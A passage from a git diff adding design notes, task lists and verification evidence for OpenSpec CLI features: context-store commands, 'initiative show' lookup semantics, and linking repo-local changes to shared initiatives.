some stores cannot be read, still show initiatives from readable stores + and print one small warning that points to `context-store doctor`. +- If all registered stores are unreadable, print a concise failure/empty message + and point to `context-store doctor`. +- With `--store <id>`, filter to one registered store. +- With `--store-path <path>`, list from that explicit store path. +- Filtered `--store` or `--store-path` mode fails directly if that store cannot + be read, because there are no fallback stores. + +Suggested all-store output: + +```text +OpenSpec initiatives (3 across 2 stores) + +ID Store Title +billing-launch platform Billing Launch +docs-refresh platform Docs Refresh +api-cleanup team API Cleanup + +Some registered context stores could not be read. +Run: openspec context-store doctor +``` + +No registered stores output: + +```text +No initiatives found because no context stores are registered. +``` + +Suggested filtered output: + +```text +OpenSpec initiatives in platform (2) + +ID Title +billing-launch Billing Launch +docs-refresh Docs Refresh + +Location: /Users/me/src/platform-context +``` + +## Boundaries + +Do not implement in this item: + +- initiative `show` +- repo-local change metadata +- `new change --initiative` +- initiative local resolution +- workspace initiative opening +- sync, pull, push, remote repository creation, or conflict handling + +## Remaining Decisions + +None before implementation. JSON shapes can follow the existing command pattern: +top-level result objects plus a `status` diagnostics array. Partial success +returns exit code 0 with warning diagnostics; total failure returns nonzero. + +## Implemented Slice + +- Added `openspec context-store setup/register/list/doctor`. +- Registered the `context-store` command from the top-level CLI. +- Initially kept shell completion metadata out of scope; static metadata was + added later with the shipped command surface. +- Implemented strict CLI registration policy without changing the permissive + lower-level registry facade. +- Added setup behavior for default `./<id>`, explicit `--path .`, interactive + Git init prompt, non-interactive/JSON no-prompt behavior, non-empty directory + rejection, and metadata writing. +- Added register behavior for existing folders, id inference from folder name, + metadata writing, id/path conflict rejection, and registry updates. +- Added list behavior as a registry index only. +- Added doctor behavior for registry/path/metadata health and cheap Git + presence. +- Updated `initiative list` so no selector lists across registered stores, + `--store` filters, `--store-path` remains an escape hatch, human output is + compact, and all-store partial success returns warning diagnostics. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/tasks.md new file mode 100644 index 0000000000..e17b34dd7a --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/06-add-minimal-context-store-ux/tasks.md @@ -0,0 +1,29 @@ +# Add Minimal Context Store UX Tasks + +- [x] Create Item 6 work-item tracking notes. +- [x] Capture agent-first setup and discovery direction. +- [x] Decide `context-store` is the first CLI namespace. +- [x] Decide setup defaults to `./<id>` when `--path` is omitted. +- [x] Decide current-directory setup requires explicit `--path .`. +- [x] Record that checked-in store metadata stays minimal. +- [x] Decide checked-in store metadata is exactly `.openspec-store/store.yaml` + and contains portable identity only. +- [x] Record that machine-local registry state stays outside the store. +- [x] Record that `initiative list` should default across registered stores. +- [x] Decide setup interactive and non-interactive behavior. +- [x] Decide register behavior. +- [x] Decide context-store list is registry index only. +- [x] Decide doctor owns health checks. +- [x] Decide initiative list partial-success behavior. +- [x] Decide JSON and exit behavior for partial success and total failure. +- [x] Decide id inference uses folder/repo name as-is with normal validation. +- [x] Decide setup rejects non-empty folders without context-store metadata. +- [x] Decide registry path/id conflicts fail for now. +- [x] Decide empty states for list, doctor, and initiative list. +- [x] Initially defer completion metadata; later add static metadata with the + rest of the shipped command surface. +- [x] Finalize exact JSON payload fields for setup, register, list, doctor, and + all-store initiative list. +- [x] Implement `context-store setup/register/list/doctor`. +- [x] Update `initiative list` all-store behavior and output. +- [x] Add focused tests and verification evidence. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/evidence.md new file mode 100644 index 0000000000..a08d1fe17d --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/evidence.md @@ -0,0 +1,97 @@ +# Add Agent-First Initiative Discovery Evidence + +## Conversation Decisions + +- `initiative show <id>` should be a locator/discovery command for agents. +- The command should answer which initiative the user meant, where the + canonical context lives, and where the initiative metadata is. +- The command should not concatenate markdown, summarize initiative contents, + compute work progress, resolve local repos, list linked changes, or open a + workspace. +- Default lookup should search all registered context stores. +- `--store <id>` should disambiguate or filter to one registered store. +- `--store-path <path>` should remain the explicit local-path escape hatch. +- Duplicate initiative ids across stores should fail with an ambiguity error. +- Default all-store lookup should fail when any registered store is unreadable, + because uniqueness is unknowable. +- Explicit `--store` and `--store-path` lookup should only care about the + selected store. +- `initiative.status` should be omitted from the v1 output projection. +- `owners` should be omitted from the v1 output projection. +- Arbitrary `metadata` should be omitted from the v1 output projection. +- `version` and `created` should stay in the v1 initiative projection. +- `files` should be omitted from v1. +- `initiative.metadata_path` should point to the validated `initiative.yaml`. +- `initiative.root` is enough for an agent to inspect the folder with normal + filesystem tools. +- Top-level `matches` should be omitted. Ambiguity and incomplete-lookup + candidates should live under the diagnostic that needs them, for example + `status[0].details.matches`. +- `context_store.source` should be omitted from `initiative show` v1 because it + is selector provenance, not context-store identity. +- A top-level `resolution` field is not needed in v1. +- Existing `initiative create/list` output can keep `context_store.source` for + now; this item should not refactor old output shapes. +- `readInitiative` should return `null` when the exact initiative is absent and + throw when `initiative.yaml` exists but is invalid or has the wrong id. +- In default all-store lookup, any unreadable registered store should make the + primary error `initiative_lookup_incomplete`, even when readable stores have + partial matches. +- If `initiatives/<id>/initiative.yaml` exists but is invalid or has the wrong + id, `initiative show` should fail as broken initiative state instead of + treating that store as not found. +- Human output should be a compact locator view on success: title, id, summary, + context store, location, and canonical filenames. +- Human ambiguity and incomplete-lookup errors should show matching or partial + matching stores inline, then point to the next command. +- Static shell completion metadata should ship for `initiative show`. +- Dynamic completions for store ids and initiative ids should remain deferred. + +## Research Notes + +- Current initiative create/list output spreads the full parsed + `initiative.yaml` state, which is useful for MVP but too broad for the first + `show` contract. +- A focused per-initiative read operation is preferred over implementing `show` + through `listInitiatives`, because exact lookup should not fail due to an + unrelated malformed initiative folder. +- Other initiative files are schema/config dependent and should not be + hardcoded into `show`. +- Keeping candidates inside diagnostic details follows the same general shape as + GraphQL-style responses: successful data stays clean, while error-specific + context travels with the error. +- If selector provenance is needed later, add a separate explicit field such as + `resolution` rather than putting provenance inside `context_store`. +- Human output should stay compact: title, id, summary, context store, + location, and metadata path. + +## Implementation Evidence + +- `src/core/collections/initiatives/operations.ts` adds `readInitiative` for + exact initiative lookup. +- `src/commands/initiative.ts` adds `initiative show <id>` with all-store + default lookup, `--store`, `--store-path`, JSON output, compact human output, + ambiguity diagnostics, and incomplete-lookup diagnostics. +- `src/core/completions/command-registry.ts` adds static completion metadata for + `initiative show`. +- `test/core/collections/initiatives/operations.test.ts` covers exact read, + absent initiatives, invalid exact initiatives, id mismatches, and unrelated + invalid folders. +- `test/commands/initiative.test.ts` covers `initiative show` success, + `--store-path`, human output, ambiguity, incomplete lookup, not found, + invalid exact initiative state, no `context_store.source`, no `files`, no + top-level `matches`, and static completions. + +## Verification + +- `pnpm run build` +- `pnpm exec vitest run test/core/collections/initiatives/operations.test.ts` +- `pnpm exec vitest run test/commands/initiative.test.ts` +- `pnpm exec vitest run test/commands/context-store.test.ts + test/commands/initiative.test.ts test/core/context-store/foundation.test.ts + test/core/context-store/registry.test.ts + test/core/collections/initiatives/operations.test.ts` +- `pnpm run lint` +- `git diff --check` +- Markdown line-length check for the initiative roadmap, task tracker, and Item + 7 work-item notes. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/plan.md new file mode 100644 index 0000000000..d59c23bc88 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/plan.md @@ -0,0 +1,184 @@ +# Add Agent-First Initiative Discovery + +## Status + +Implementation complete; verification in progress. + +## Source Of Truth + +Start from `../../direction.md`. + +This item exists because the expected workflow is agent-first: + +```text +Using initiative billing-launch, explore the API work and create a proposal. +``` + +Before repo-local linking, local resolution, or workspace opening can work, the +agent needs a small command that answers: + +- Which initiative did the user mean? +- Which context store contains the canonical initiative? +- Where is the initiative metadata, and what root should the agent inspect? + +## Goal + +Add agent-first initiative discovery without turning `show` into a reader, +progress dashboard, repo resolver, or workspace launcher. + +## Locked Direction So Far + +- `initiative show <id>` is a locator/discovery command. +- It should return identity, context-store location, initiative location, and + the initiative metadata path. +- It should not concatenate markdown, summarize file contents, compute progress, + resolve repos, list linked changes, or open workspaces. +- Default lookup searches all locally registered context stores. +- `--store <id>` filters to one registered store. +- `--store-path <path>` remains the explicit local-path escape hatch. +- Duplicate initiative ids across stores are ambiguous. The command should not + auto-pick a match. +- In default all-store lookup, unreadable stores make the lookup incomplete. + The command should fail rather than silently returning a possibly false + unique match. +- Explicit `--store` and `--store-path` modes only consider the selected store. + +## Output Contract Direction + +The first JSON contract should be a resolver/read-pointer projection, not a +full serialization of `initiative.yaml`. + +Suggested success shape: + +```json +{ + "context_store": { + "id": "platform", + "root": "/path/to/platform-context" + }, + "initiative": { + "version": 1, + "id": "billing-launch", + "title": "Billing Launch", + "summary": "Coordinate billing launch work.", + "created": "2026-05-21", + "root": "/path/to/platform-context/initiatives/billing-launch", + "store_path": "initiatives/billing-launch", + "metadata_path": "/path/to/platform-context/initiatives/billing-launch/initiative.yaml" + }, + "status": [] +} +``` + +Locked field decisions: + +- Keep `initiative.version`. +- Keep `initiative.created`. +- Keep `initiative.id`, `title`, `summary`, `root`, `store_path`, and + `metadata_path`. +- Keep `context_store.id` and `root`. +- Omit `context_store.source` from `initiative show` v1. It is selector + provenance, not context-store identity. Existing create/list output can remain + unchanged for now. +- Omit a top-level `resolution` field from v1. +- Omit `initiative.status` from the v1 projection. +- Omit `initiative.owners` from the v1 projection. +- Omit arbitrary `initiative.metadata` from the v1 projection. +- Omit a `files` list from the v1 projection. +- Omit top-level `matches`. +- Put ambiguity and incomplete-lookup candidates under the relevant diagnostic + entry, such as `status[0].details.matches`. +- Keep top-level `status` as command diagnostics only, not initiative work + progress. + +## Still To Decide + +- Nothing for the minimal v1 slice. + +## Human Output Direction + +Success output should stay locator-focused: + +```text +OpenSpec initiative: Billing Launch + +ID: billing-launch +Summary: Coordinate billing launch work. +Context store: platform +Location: /path/to/platform-context/initiatives/billing-launch + +Files: + Metadata: /path/to/platform-context/initiatives/billing-launch/initiative.yaml +``` + +Error output should stay plain: + +- Not found: say the initiative was not found in registered context stores and + suggest `openspec initiative list`. +- Ambiguous: show matching stores and paths, then suggest + `openspec initiative show <id> --store <store>`. +- Incomplete lookup: say some context stores could not be read, include partial + matches when present, then suggest `openspec context-store doctor`. + +## File Listing Direction + +`initiative show` should not list initiative folder contents in v1. + +Only `initiative.yaml` is required to identify and validate the initiative. All +other files are schema/config dependent and may differ across teams. Once the +command has resolved `initiative.root`, agents can use normal filesystem tools +to inspect the folder. Later schema-aware views can expose important files +without hardcoding today's default template filenames. + +## Completion Direction + +Add static shell completion metadata for: + +```text +initiative show <id> --store <id> --store-path <path> --json +``` + +Do not add dynamic completions for registered store ids or initiative ids in +this slice. + +## Core Read Operation Direction + +Add a focused `readInitiative` operation for exact lookup. + +Behavior: + +- Return `null` when the initiative folder or `initiative.yaml` is absent. +- Throw when `initiative.yaml` exists but is invalid. +- Throw when the parsed `initiative.yaml` id does not match the folder id. +- Do not scan unrelated initiative folders. + +## Lookup Error Precedence + +For default all-store lookup, any unreadable registered store makes lookup +incomplete. + +If one or more readable stores contain the initiative and one or more other +stores cannot be read, the primary error should still be +`initiative_lookup_incomplete`, not success or ambiguity. Include any readable +partial matches under the diagnostic details. + +Explicit `--store` and `--store-path` modes are scoped to the selected store and +do not check unrelated registered stores. + +Invalid exact initiative folders are broken shared state, not "not found". + +If `initiatives/<id>/initiative.yaml` exists but is invalid or has a mismatched +id, `initiative show` should fail with an invalid-initiative diagnostic. In +default all-store lookup, unreadable stores still take precedence as +`initiative_lookup_incomplete` because the full candidate set is unknowable. + +## Explicitly Out Of Scope + +- Top-level `openspec show` integration. +- Markdown content bundles or generated context packs. +- Checked-in initiative snapshots in repo-local changes. +- Repo-local change linking. +- Local repo/workspace resolution. +- Workspace opening. +- Git sync status, dirty state, remotes, pull, push, or conflicts. +- Initiative progress or status dashboards. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/tasks.md new file mode 100644 index 0000000000..2bf8440d78 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/07-add-agent-first-initiative-discovery/tasks.md @@ -0,0 +1,27 @@ +# Add Agent-First Initiative Discovery Tasks + +- [x] Create Item 7 work-item tracking notes. +- [x] Decide `initiative show <id>` is a locator/discovery command. +- [x] Decide default lookup searches all registered context stores. +- [x] Decide `--store` and `--store-path` remain the narrowing selectors. +- [x] Decide duplicate initiative ids are ambiguity errors. +- [x] Decide unreadable stores make default all-store lookup incomplete. +- [x] Decide the v1 projection omits `initiative.status`, `owners`, and + arbitrary `metadata`. +- [x] Decide the v1 projection keeps `initiative.version` and `created`. +- [x] Decide v1 omits `files` and only returns initiative root plus metadata + path. +- [x] Decide ambiguity and incomplete-lookup candidates live under diagnostic + details, not top-level `matches`. +- [x] Decide exact human output direction for success and error states. +- [x] Decide `initiative show` omits `context_store.source`. +- [x] Decide `initiative show` omits a top-level `resolution` field. +- [x] Decide static completion metadata ships with Item 7. +- [x] Decide `readInitiative` returns `null` for absent and throws for invalid. +- [x] Decide incomplete lookup takes precedence over success or ambiguity in + default all-store mode. +- [x] Decide invalid exact initiative folders are errors, not not-found. +- [x] Implement a focused per-initiative read operation. +- [x] Implement `initiative show`. +- [x] Register static completion metadata for `initiative show`. +- [x] Add focused tests and verification evidence. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/evidence.md new file mode 100644 index 0000000000..917c121652 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/evidence.md @@ -0,0 +1,239 @@ +# Connect Repo-Local Changes To Initiatives Evidence + +## Decision 1: Initiative Link Location + +The initiative link should live in the repo-local change `.openspec.yaml`. + +Example: + +```yaml +schema: spec-driven +created: 2026-05-22 +initiative: + store: platform + id: billing-launch +``` + +This keeps repo implementation ownership in the repo while preserving a durable +reference to canonical initiative context. + +The link should not include local paths, copied initiative prose, or backlinks +inside the initiative store. + +## Research Notes + +- `createChange()` already writes `.openspec.yaml` for every change. +- `ChangeMetadataSchema` currently allows schema, created, goal, and + affected-area fields. Item 8 can extend that schema with `initiative`. +- Archive moves the whole change directory, so the initiative link will move + with archived changes. +- Apply, validate, and archive should not require context-store availability in + this slice. + +## Decision 2: Create Command Shape + +Initiative-linked creation should use `openspec new change` with `--initiative`. + +Supported first-slice forms: + +```bash +openspec new change add-billing-api --initiative billing-launch --json +openspec new change add-billing-api --initiative platform/billing-launch --json +openspec new change add-billing-api --initiative billing-launch --store platform --json +``` + +This keeps the operation repo-owned. The initiative is a reference on the +change, not the actor that creates or owns the change. + +The first slice should also add `--json` to `new change` so agents can capture +the created change path, metadata path, and initiative reference. + +## Decision 3: Initiative Lookup Behavior + +Bare `--initiative <id>` should reuse `initiative show` lookup semantics. + +It searches all registered context stores and succeeds only when the lookup is +complete and exactly one readable store contains the initiative. + +Explicit store selectors narrow lookup: + +```bash +openspec new change add-billing-api --initiative platform/billing-launch +openspec new change add-billing-api --initiative billing-launch --store platform +openspec new change add-billing-api --initiative billing-launch --store-path ./context +``` + +`--store-path` validates the explicit path and reads its store id, but does not +auto-register the store. Metadata still stores only the portable store id and +initiative id. + +Repo-local metadata should not be written until initiative lookup is complete +and unambiguous. + +## Decision 4: Repo-Local Only For V1 + +Item 8 should support initiative links only on repo-local changes. + +If `openspec new change <id> --initiative ...` runs from a workspace planning +home, v1 should refuse and tell the user to run the command from the repo that +owns the implementation plan. + +Existing workspace-planning changes remain compatibility behavior and should not +gain initiative linkage in this slice. + +This preserves the boundary that initiatives coordinate shared context, +repo-local changes own implementation plans, and workspaces open local views. + +## Decision 5: No Repo Ownership Matching In V1 + +Item 8 should not verify that the current repo is named by, owned by, or inferred +from the initiative. + +Creating a repo-local change with an initiative link records participation in the +initiative. It does not prove ownership, repo impact, or coverage of an +initiative area. + +Repo ownership matching can be revisited after initiative resolution or explicit +initiative metadata has a real repo/area model. + +## Decision 6: JSON And Human Output + +Create output should stay factual and minimal. + +Human output should confirm: + +- the created change id and location +- the schema +- the initiative link `{ store, id }` + +JSON output should include: + +```json +{ + "change": { + "id": "add-billing-api", + "path": "/repo/openspec/changes/add-billing-api", + "metadataPath": "/repo/openspec/changes/add-billing-api/.openspec.yaml", + "schema": "spec-driven" + }, + "initiative": { + "store": "platform", + "id": "billing-launch" + } +} +``` + +The output should not include `next` or other suggested workflow actions. API +responses should report operation results or errors; choosing the next action is +the agent's responsibility and depends on broader context. + +## Decision 7: Existing Change Recovery + +Item 8 should include a friendly recovery command for existing repo-local +changes: + +```bash +openspec set change add-billing-api --initiative billing-launch --json +openspec set change add-billing-api --initiative platform/billing-launch --json +openspec set change add-billing-api --initiative billing-launch --store platform --json +openspec set change add-billing-api --initiative billing-launch --store-path ../context --json +``` + +This command is a validated setter for checked-in repo-local change metadata. In +Item 8, the only supported settable field is the initiative link, and the only +file it may mutate is `openspec/changes/<id>/.openspec.yaml`. + +The command should not edit proposal, design, tasks, specs, or initiative-store +files. It should not store local paths or write backlinks into the initiative. + +If the requested initiative link already exists, the command should succeed as +an idempotent no-op. If a different initiative link already exists, the command +should fail without writing. Replacement, relink, unlink, and dry-run behavior +are deferred. + +Rationale: + +- Agents can forget to link a change during creation, so a first-class recovery + path is useful. +- `set change` matches the actual side effect: writing validated change metadata + to `.openspec.yaml`. +- Keeping the command scoped to `.openspec.yaml` avoids creating a broad change + editing surface. +- `openspec change ...` is currently deprecated, `edit` implies opening an + editor, and `update` already means refreshing local OpenSpec tooling or + guidance. + +## Decision 8: Status And Instructions Visibility + +Status and instructions should surface that the repo-local change is linked to +an initiative, but should not display or resolve the initiative itself. + +Human status output should show the stored initiative reference, and JSON status +output should include the stored initiative `{ store, id }`. Instructions output +should include a concise factual note that the change is linked to the +initiative. + +Status and instructions should not read, summarize, validate, or resolve the +initiative from the context store in v1. Missing or unavailable context stores +should not make repo-local status or instructions fail. + +This keeps the relationship visible during ordinary repo-local workflows while +preserving the boundary that initiative lookup and context reading belong to +initiative-specific commands. + +## Latest Open-Decision Notes + +Date: 2026-05-23. + +All decisions for Item 8 are now confirmed for implementation. + +Implementation should keep the first slice small: + +- The light release should test whether initiative-linked repo-local changes are + useful before adding gating, ownership inference, or broader workflow + integration. +- Standalone `initiative resolve` was later rejected; workspace local-view state + owns local path mapping. +- Source provenance, history/export, contract maps, and target-bound + initiative-hosted changes remain useful future discussion points, but should + not block this initial slice. + +## Implementation Evidence + +Date: 2026-05-23. + +Implemented: + +- `openspec new change <id> --initiative ...` for repo-local changes, with + `--json`, `--store`, and `--store-path` support. +- `openspec set change <id> --initiative ...` for existing repo-local changes. +- Portable checked-in metadata under `initiative: { store, id }`. +- Status and instructions visibility from stored metadata only. +- Workspace refusal, lookup-failure no-write behavior, same-link idempotency, + and different-link conflict protection. + +Verification: + +```bash +pnpm run build +``` + +Result: passed. + +```bash +pnpm exec eslint src/commands/workflow/new-change.ts src/commands/workflow/set-change.ts src/commands/workflow/initiative-link.ts src/commands/workflow/instructions.ts src/commands/workflow/status.ts src/commands/workflow/shared.ts src/commands/initiative.ts src/core/artifact-graph/types.ts src/core/artifact-graph/instruction-loader.ts src/utils/change-utils.ts src/cli/index.ts +``` + +Result: passed. + +```bash +pnpm exec vitest run test/utils/change-metadata.test.ts test/commands/change-initiative-link.test.ts +``` + +Result: passed, 39 tests. + +```bash +pnpm exec vitest run test/commands/artifact-workflow.test.ts test/commands/initiative.test.ts test/core/artifact-graph/instruction-loader.test.ts +``` + +Result: passed, 110 tests. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/plan.md new file mode 100644 index 0000000000..6019549f95 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/plan.md @@ -0,0 +1,279 @@ +# Connect Repo-Local Changes To Initiatives + +## Status + +Implemented. The original decision text below is preserved as design record; +current completion evidence lives in `tasks.md` and `evidence.md`. + +## Source Of Truth + +Start from `../../direction.md` and the Item 8 roadmap entry. + +The relevant boundary is: + +```text +Initiatives coordinate shared context. +Repo-local changes own implementation plans. +Workspaces open local views. +``` + +## Goal + +Let an agent create or link a repo-local OpenSpec change to a shared +initiative without copying initiative prose, storing machine-local paths, or +making the initiative own repo implementation artifacts. + +Example user prompt: + +```text +Using initiative billing-launch, create a proposal for API work. +``` + +## Decisions + +### 1. Initiative Link Location + +Decision: Store the initiative link in the repo-local change `.openspec.yaml`. + +Suggested metadata shape: + +```yaml +schema: spec-driven +created: 2026-05-22 +initiative: + store: platform + id: billing-launch +``` + +Rules: + +- Store only the context store id and initiative id. +- Do not store local context-store paths. +- Do not store local repo paths. +- Do not create a checked-in `initiative.md` snapshot by default. +- Do not write backlinks into the initiative. + +Rationale: + +- `.openspec.yaml` is already the per-change machine-readable metadata file. +- The link is durable repo context and should be checked in with the change. +- The canonical initiative context remains in the context store. +- The metadata stays portable across teammates and machines. + +### 2. Create Command Shape + +Decision: Add initiative linking to the repo-local change creation command with +`--initiative`. + +Supported first-slice forms: + +```bash +openspec new change add-billing-api --initiative billing-launch --json +openspec new change add-billing-api --initiative platform/billing-launch --json +openspec new change add-billing-api --initiative billing-launch --store platform --json +``` + +Rules: + +- The command starts from `new change` because the change is repo-owned. +- `--initiative` modifies repo-local change creation; it does not make the + initiative create or own the change. +- `--json` should be added to `new change` for agent-readable handoff output. +- A separate initiative-owned create command is not part of the first slice. + +Rationale: + +- The expected user flow is agent-first: "using initiative X, create a proposal + for repo work." +- Agents need one normal repo-local create command that can also write the + initiative reference. +- Keeping the verb rooted in `new change` preserves the boundary that changes + implement repo-owned slices. + +### 3. Initiative Lookup Behavior + +Decision: Reuse `initiative show` lookup semantics for `--initiative`. + +Rules: + +- Bare `--initiative <id>` searches all registered context stores. +- Bare lookup succeeds only when exactly one readable registered store contains + the initiative id. +- Duplicate initiative ids across stores fail as ambiguous. +- Any unreadable registered store makes bare lookup incomplete and fails before + writing change metadata. +- `--initiative <store>/<id>` selects one registered store by id. +- `--initiative <id> --store <store>` also selects one registered store by id. +- `--initiative <id> --store-path <path>` validates the explicit local context + store path, reads its store id, and writes only `{ store, id }` to metadata. +- `--store-path` does not auto-register the context store. +- Do not write repo-local initiative metadata until lookup is complete and + unambiguous. + +Rationale: + +- Agents can use the short form when it is safe. +- Durable repo-local links should not be created from partial knowledge. +- The behavior matches existing agent-first discovery semantics. + +### 4. Repo-Local Only For V1 + +Decision: Item 8 supports initiative links only on repo-local changes. + +Rules: + +- `openspec new change <id> --initiative ...` creates an initiative-linked + change only when the current planning home is repo-local. +- If the command runs from a workspace planning home, v1 refuses with clear + guidance to run the command from the repo that owns the implementation plan. +- Existing workspace-planning changes remain compatibility behavior and are not + extended with initiative linkage in this slice. + +Rationale: + +- The current product boundary assigns implementation plans to repo-local + OpenSpec changes. +- Workspaces are local views, not the durable planning owner for initiative + work. +- Extending workspace-planning changes would revive the superseded + workspace-owns-the-plan model. + +### 5. Repo Ownership Matching + +Decision: Do not attempt repo ownership matching in v1. + +Rules: + +- Creating a repo-local change with an initiative link records participation in + the initiative. +- The link does not claim that OpenSpec verified repo ownership, repo impact, or + initiative area coverage. +- The command should not block or warn solely because the current repo is absent + from initiative content. + +Rationale: + +- Item 8 should not invent repo ownership or monorepo area semantics. +- Ownership matching belongs with later initiative resolution or explicit + initiative metadata. +- Keeping v1 small lets teams test whether linked repo-local changes are useful + before adding policy gates. + +### 6. JSON And Human Output + +Decision: Keep create output factual and minimal. + +Rules: + +- Output should report what the command did, not recommend workflow next steps. +- Human output should confirm the created change location, schema, and initiative + link. +- JSON output should include stable fields for the created change and initiative + link. +- JSON output should not include a `next` command or suggested workflow action. +- Output should not include initiative summaries, repo ownership claims, + resolved local context-store paths, or progress/status-like fields. + +Suggested JSON shape: + +```json +{ + "change": { + "id": "add-billing-api", + "path": "/repo/openspec/changes/add-billing-api", + "metadataPath": "/repo/openspec/changes/add-billing-api/.openspec.yaml", + "schema": "spec-driven" + }, + "initiative": { + "store": "platform", + "id": "billing-launch" + } +} +``` + +Rationale: + +- CLI/API-style responses should state operation results or errors. +- Accurately choosing the next action depends on agent context and should remain + the agent's responsibility. +- Keeping output factual avoids coupling change creation to later lifecycle + design. + +### 7. Existing Change Recovery + +Decision: Include a recovery command for setting the initiative link on an +existing repo-local change. + +Command shape: + +```bash +openspec set change add-billing-api --initiative billing-launch --json +openspec set change add-billing-api --initiative platform/billing-launch --json +openspec set change add-billing-api --initiative billing-launch --store platform --json +openspec set change add-billing-api --initiative billing-launch --store-path ../context --json +``` + +Rules: + +- `openspec set change <id> --initiative ...` is a validated setter for + repo-local change metadata. +- In Item 8, the only supported settable field is the initiative link. +- The command only mutates `openspec/changes/<id>/.openspec.yaml`. +- The command does not edit proposal, design, tasks, specs, or initiative-store + files. +- The command uses the same initiative lookup semantics as + `openspec new change <id> --initiative ...`. +- If the same initiative link already exists, the command succeeds as an + idempotent no-op. +- If a different initiative link already exists, the command fails without + writing. Replacement, relink, unlink, and dry-run behavior are not part of v1. +- If the command runs from a workspace planning home, it refuses for the same + reason as initiative-linked `new change`. + +Rationale: + +- Agents can forget to pass `--initiative` during change creation; v1 needs a + friendly recovery path. +- `set change` describes the real operation: setting checked-in change metadata, + not creating an initiative-owned relationship. +- Keeping the command limited to `.openspec.yaml` avoids a broad edit surface. +- Avoid `openspec change ...` because that namespace is currently deprecated. +- Avoid `edit` because it implies opening an editor, and avoid `update` because + OpenSpec already uses update for local guidance/tool refresh. + +### 8. Status And Instructions Visibility + +Decision: Surface the initiative link in status and instructions output without +resolving or displaying the initiative itself. + +Rules: + +- Human status output should show that the change is linked to an initiative. +- JSON status output should include the stored initiative `{ store, id }`. +- Instructions output should include a concise factual note that the change is + linked to the initiative. +- Status and instructions must not read, summarize, validate, or resolve the + initiative from the context store in v1. +- Missing or unavailable context stores must not make repo-local status or + instructions fail. +- Output should not add next-step recommendations. + +Rationale: + +- The initiative link should be visible in normal repo-local workflow output so + users and agents do not miss the relationship. +- Keeping visibility to stored metadata avoids introducing context-store + availability as a dependency for repo-local workflow commands. +- Initiative resolution belongs to initiative-specific commands, not status or + instructions in this slice. + +## Open Decisions + +None. Decision pass complete; confirm the decisions before implementation. + +## Latest Suggested Resolutions + +These were the suggested answers carried into implementation: + +- Surface the stored initiative link in status and instructions without reading + or displaying the initiative itself. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/tasks.md new file mode 100644 index 0000000000..926e34ebbd --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/08-connect-repo-local-changes-to-initiatives/tasks.md @@ -0,0 +1,22 @@ +# Connect Repo-Local Changes To Initiatives Tasks + +## Decisions + +- [x] Decide where the initiative link lives. +- [x] Decide command shape for creating initiative-linked changes. +- [x] Decide initiative lookup behavior for `--initiative`. +- [x] Decide whether workspace-scoped changes are allowed in this slice. +- [x] Decide whether repo ownership matching is attempted in v1. +- [x] Decide JSON and human output shape. +- [x] Decide whether Item 8 includes linking existing changes. +- [x] Decide whether status/instructions surface initiative links. +- [x] Confirm latest suggested resolutions in `plan.md` before implementation. + +## Implementation + +- [x] Extend change metadata schema with an optional initiative link. +- [x] Persist initiative metadata when creating repo-local changes. +- [x] Add command support for creating initiative-linked changes. +- [x] Add tests for metadata validation and persistence. +- [x] Add tests for command output and lookup failures. +- [x] Add status/instruction visibility for stored initiative links. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/decision-review.md b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/decision-review.md new file mode 100644 index 0000000000..a7bf4c51a4 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/09-add-initiative-resolve/decision-review.md @@ -0,0 +1,64 @@ +# Item 9 Decision: Reject Initiative Resolve + +## Final Decision + +Do not implement a standalone `openspec initiative resolve <id>` command, now +or later. + +The command is unnecessary because it tries to do work that already belongs to +other concepts: + +- `initiative show` finds the canonical initiative. +- A workspace is the local view over repos and folders. +- Repo-local changes link themselves to initiatives. +- Repo-local status reports work progress. + +## Decision 1: No Command + +No separate initiative command is needed. + +If the user only has a context store, `initiative show` is enough. If the user +has a workspace, the local view is already represented by that workspace. If the +user is inside a repo, repo-local commands are enough. + +## Decision 2: Local Resolution Belongs To Workspace + +A workspace maps local repos and folders to paths on one machine. Future +initiative-aware local opening belongs in workspace behavior. + +## Decision 3: Agent Behavior + +Agents should: + +- Use `openspec initiative show <id> --json` for shared context. +- Use the current workspace view when the user is working in a workspace. +- Use repo-local commands when the user is working in a repo. +- Let the user decide which repos are present locally. + +## Decision 4: Rejected Scope + +Remove all standalone resolve behavior: + +- no `initiative resolve` +- no all-repo scan +- no all-workspace scan +- no `--path` search roots +- no Git remote matching +- no cloning +- no worktree or branch creation +- no initiative backlinks +- no local availability dashboard + +## Decision 5: Roadmap Update + +Convert Item 9 into a 